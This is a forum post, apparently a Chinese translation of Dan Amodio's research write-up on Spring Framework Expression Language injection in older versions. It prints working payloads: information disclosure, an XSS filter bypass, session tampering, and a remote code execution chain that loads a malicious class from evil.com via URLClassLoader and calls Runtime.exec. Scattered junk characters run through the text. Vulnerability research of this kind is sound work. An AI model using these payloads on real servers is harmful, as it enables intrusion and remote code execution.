找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2211|回复: 0
打印 上一主题 下一主题

spring-远程代码注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 21:47:24 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Remote Code with  g) G2 U( H1 P; o
Expression Language Injection/ K# X3 w6 F) b. u# u4 ?6 {: e; r- a6 s
Spring Framework脆弱性—DanAmodio. S! O/ K6 |/ W& z  Y- g
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
$ d3 U, Q, V- i1 L1 o* r/ l可能会存在风险。
2 X+ a+ k8 d. T4 [7 g1 e8 _1 C6 C在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的) d* O+ h: ]: N3 q
Arshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可" }+ L5 O. G1 \# j/ ]! F; D7 ~
以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
! F! D( T# ?$ S( i) _以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前
6 E- C  v  s- N" J; L% E- H版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。
' X. l; H1 k1 p8 o由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
4 t  q5 ~& h0 J: q! V4 t我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版
' z' S& E4 J6 T本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。! Y* g! D/ i. M8 u, k, V8 M0 T
这些版本不支持禁用double EL resolution.
7 _$ D$ X) [  |% k, \0 Y/ n4 c这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
' R: r' \- t# D, c# u- cEL2.2容器上可能进行远程代码执行。& y6 \# p8 T* b; }
这是一个原始信息泄露的攻击例子:
; Q/ {0 H- g  C请求:
9 K/ p& H& V  lttp://vulnerable.com/foo?message=${applicationScope}
% m1 A& d% g/ @到达以下内容页面:
) P6 U  u, T1 `- x$ |结果将输出一些包含内部服务器信息calsspath 和本地工作目录
: r, U3 V: }+ `( r) i你也可以做一些其他事情,如这样:$ D7 h' T( j+ f) L* [$ G" K$ o/ ]
${9999+1}: w1 g; E, p* _# @
还可以访问session 对象和beans( [5 w7 |9 y* e4 K, b* \' w
${employee.lastName}1 w; P. j9 V$ b
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
4 L3 J+ J  N0 S" lEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东
& s- f* _* Q' ^! Y9 Z西,比如XSS.3 H* ^8 Y9 w  c% c
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签9 ], d; C! |2 ^# L. \2 w: }9 L
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤* w7 n3 L' o! T1 N$ y  G- b( ~
呢?”
( s9 L( `- ?, }  U/ S4 |2 f' [因此,我尝试巳缦拢�
+ z; Y( g+ {) H7 y1 M# w5 Uhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP: |4 ~  _/ Y% m& \% Z% ~
P
: s% v' }, w7 r我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返6 L2 |7 k! v! D& O% ~) }
回的文本被插入进了spring:message 标签。6 ?7 w3 m! W* b3 E! n4 ^6 o
这里是一个最终绕过过滤的实例:
8 x; n% t7 t/ |  k6 t* xhttp://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1)/scriptQ
7 Y, d* k9 W, W它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为4 x5 E5 w( M  Y4 V* b
什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?
+ y8 `, |4 a" q+ K' P经过一番研究,我学习到EL2.2 增加了方法调用。
/ p9 n- V- ^  x; _1 Y我写了一个快速测试应用程序代码并且检测一些功能
; A0 a' O2 {/ i+ c${pageContext.request.getSession().setAttribute(“account”,”123456″)}4 y! Y- R2 T3 J
${pageContext.request.getSession().setAttribute(“admin”,true)}( i  g8 ^5 a- _/ f2 U
好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的. @. b) V' c3 E
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?% l6 [7 q: K( v4 Q& T7 w
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1
; e) w/ r1 n+ h“, 1234)}
6 J# u# F- _: @! Y! k${“”.getClass().forName(“java.lang.Runtime”)}3 j* L& u  F' B& `; ^/ H6 J
哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不
& z' w! t% _" m* A+ d9 I可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函8 c5 I9 D( B6 [, q% D( ?
数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
; P' x9 }2 Q% _7 }! v一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于2 u' i6 y0 m) n  P# t3 g/ W
方法签名invoke(Object obj, Object„ args)9 _3 I8 X5 n$ ~
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问+ x$ ~0 w$ [7 S( D
题,以让它可以工作起来。
* \4 X' ]8 P+ O( d- c漏洞利用:8 A% R* j  P' @# c1 P* t6 `, H9 ~' h
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
: ^0 Y! w- B0 }  K) ^8 h# P8 W- a希望你们中的一些JAVA奇才告诉我我是如此的可笑。
* Z) k9 o6 e% n3 ~这里有一些我试过的失败的用例,为了试图让它工作的用例:6 C* V. ]5 d0 g  U
 写文件到文件系统
# Z% Y* Q# Y% _7 k& b 试图载入org.springframework.expression.spel.standard.SpelExpressionParser.! R5 A# [7 c$ @; h8 g
我认为这些可以很好的工作,但是我不能找到合适的类来载入。
( l# _; P4 w# V# N) f# F9 s${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}
3 s6 G1 I0 h  H* U7 D* sjavax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:. P9 b# f/ `2 F2 j
org.springframework.expression.spel.standard.SpelExpressionParser not found: z8 ?3 @6 c8 j( m0 [8 f+ k5 M
by. E1 G& R8 q( |9 C# @7 f) w3 ~
org.glassfish.web.javax.servlet.jsp [194].
7 P% e3 [+ H& F7 r- u  R 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public4 @+ k1 [4 R9 q1 N1 |, l8 G4 @
 利用反射来创建一个新的Runtime(and watch the world burn); k; p) H& C& |8 ]& \; q4 X
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName. g: ]5 v' }3 f, k; b3 D
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
  {- G' r" k' L9 Q$ M${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
/ \  k2 F; m( ^$ ]* \. d 使用java.lang.ProcessBuilder
* J: L* @& t4 ^( h 用表达式语言来评估表达式语言# b. T& i( a$ O! f! v
Expression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.
% u/ H+ A4 m3 u- m, x$ d( ~${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request1 {* w* m9 Y& s' V: r5 _# y
“,”".getClass(),null)}
* @7 O" \$ U6 Z$ u) o$ `( F 创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂)( W4 L  E6 y. I; G# }
我在使用一个空数组通过Method.invoke()时失败了很多次
, K# Z3 V& }  z0 K8 ]& b+ N9 j“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo
/ o( o  A% P; B4 O. L0 q.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A
+ V; q- W3 x1 T5 E: w) a, r, wrrayList”).newInstance().toArray())
+ w$ \; ?% f, T8 b6 O& Y/ S: ojava.lang.IllegalArgumentException: wrong number of arguments
# S6 i7 |( R% {% Q最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可* Q' h  X5 l1 A$ p* Y7 o( k
以创建一个恶意class文件并且指向类装载器.) i9 b# b1 ~8 o: {/ ^4 t% |
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:, M7 L8 k: A2 O& |
public class Malicious {3 a, M/ [- I2 j& @- H& C" i
public Malicious() {
3 X, m( _9 J/ Z& B/ y+ ^try {- Y8 g$ D5 Y% f1 W- x9 H5 P
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac
& u; p7 Z: V7 Ojava.lang.Runtime.getRuntime().exec(“calc.exe”); //Win% q% E4 d0 H9 }3 S( j8 E
} catch (Exception e) {) s/ N( v. h4 d
}
' ]% w2 G  W' S; G) R}' t5 L1 `8 w- C
我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回6 o6 C6 H6 H8 [  i
话中,因此它可以被使用." z3 @$ D/ x' ]3 P
${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
- F% Q9 g; d! W! y3 E; X9 f(“java.util.ArrayList”).newInstance())}
9 I+ X3 w: B7 A0 I( j" u' cURLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建; P/ i/ P% [) T8 D2 F/ c
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和2 ~% s" Z6 \' K- @4 V, Y
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个
  E  M: I9 Z% ]* u我们可以调用的create(string)方法,然后转换对一个URL对象。3 X1 @+ f4 i$ l  s7 B* e  c
${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
* V6 p. h" {6 r0 b! |6 Tere/malicious/classfile/is/located/”).toURL())}
, y+ F9 T1 s, w1 S5 |; v7 D& N然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,
8 q  _( C% d# W: }+ L( n恶意类文件被装载并创建,触发远程代码.7 @& Y6 x6 b6 t- g2 ], k/ `* F
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte
- S7 J+ J' [6 S1 c+ Y3 Q: J6 y* hxt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().
) l, O  \7 U( S$ p0 N. S; NgetClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance( @1 f; [, a' S& K1 m8 W
()}
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表